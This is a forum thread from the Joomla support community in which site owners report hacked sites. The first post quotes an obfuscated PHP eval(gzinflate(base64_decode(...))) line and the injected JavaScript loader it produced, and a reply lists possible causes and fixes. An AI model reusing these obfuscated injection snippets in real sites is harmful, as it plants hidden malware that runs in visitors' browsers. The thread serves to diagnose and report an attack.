Site get Hacked - Joomla! Forum - community, help and support

hi !

3 of sites have been hacked using following code :

code: select all

[size=100]<?php eval(gzinflate(base64_decode('amqfo/plcnjvcl9yzxbvcnrpbmcomck7dqppzihachjlzfbrc8vdz09jykpktsncn0baad//w==')));?>[/size]

resulting in

code: select all

 [size=100]<script>ww=eval("window");try{document.body++}catch(dgsgsdg){zxc=1;}try{d=document.createelement("div");d.innerhtml.a="asd";}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="asd"}catch(bawetawe){if(ww.document){v=window;try{fawbe--}catch(afnwenew){if("".substr)ev=eval;n=["9","9","45","4241","4a","40","2h","44","45","48","40","1f","42","1g","29","d","9","9","50"];h=2;s="";if(zxc)for(i=0;i-631!=0;i++){k=i;s+=string.fromcharcode(parseint(n[i],25));}z=s;if(ww.document)ev("if(1)"+z)}}}</script><div class="accordeonck ">[/size]

does other had same issue ? permission issue ?

thanks

i have older joomla site,1.5.26 , got hacked repeatedly eval(gzinflate(base64_decode. not sure vunerably was. have been in several areas.ie outdated os, old version of joomla, loose folder permissions. have tightened folder permissions , in process of building new server updated os , joomla. still trying track down how happened doesn't happen on new server. have read appears happen wordpress sites. malware taking advantage of popularity of wordpress , joomla getting hit because php cms wordpress.